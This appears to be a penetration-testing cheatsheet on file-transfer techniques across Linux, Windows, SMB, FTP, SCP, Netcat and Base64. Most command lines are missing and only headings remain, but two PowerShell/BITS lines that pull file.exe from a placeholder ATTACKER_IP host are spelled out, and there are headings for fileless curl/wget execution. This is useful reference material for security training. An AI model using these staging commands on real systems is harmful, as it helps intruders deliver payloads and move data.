File Transfers
Executive Summary
File transfer commands are used to move tools, payloads, scripts, evidence, and results between systems.
Use this cheatsheet for quick download, upload, and transfer syntax across Linux, Windows, HTTP, SMB, FTP, SCP, Netcat, and Base64.
HTTP Server
Start Python HTTP server:
Python 2:
PHP server:
Ruby server:
Linux Downloads
Download with wget:
Download with curl:
Keep original filename:
Fileless execution with curl:
Fileless execution with wget:
Windows Downloads
PowerShell download:
PowerShell WebClient:
(New-Object Net.WebClient).DownloadFile("http://ATTACKER_IP:8000/file.exe", "C:\Users\Public\file.exe")
PowerShell download string:
Certutil download:
BITS download:
Start-BitsTransfer -Source "http://ATTACKER_IP:8000/file.exe" -Destination "C:\Users\Public\file.exe"
SMB Transfers
Start SMB server:
Start SMB server with credentials:
Copy from SMB share:
Map SMB drive:
Copy from mapped drive:
Copy to SMB share:
FTP Transfers
Start FTP server:
Start FTP server with upload support:
Windows FTP download with PowerShell:
Windows FTP upload with PowerShell:
SCP Transfers
Download from remote host:
Upload to remote host:
Recursive copy:
Specify SSH key:
Netcat Transfers
Receiver:
Sender:
Ncat receiver:
Ncat sender:
Base64 Transfers
Encode file:
Decode on Linux:
Decode on Windows:
Verify on Linux:
Verify on Windows:
Upload Server
Install upload server:
Start upload server:
Upload with curl:
WebDAV Upload
Start WebDAV server:
Upload from Windows:
OpenSSL Protected Transfer
Encrypt before transfer:
Decrypt after transfer:
Quick Workflow
| Need | Method |
|---|---|
| Simple Linux download | wget or curl |
| Simple Windows download | PowerShell or certutil |
| Windows internal transfer | SMB |
| SSH available | SCP |
| No tools available | Base64 copy/paste |
| Raw TCP transfer | Netcat/Ncat |
| Upload over HTTP | Python uploadserver |
| Sensitive data | Encrypt first |
Notes
- Always verify file integrity after transfer.
- Use HTTPS or encryption for sensitive files.
- PowerShell and Certutil downloads are commonly monitored.
- SMB may be blocked across network boundaries.
- Base64 is encoding, not encryption.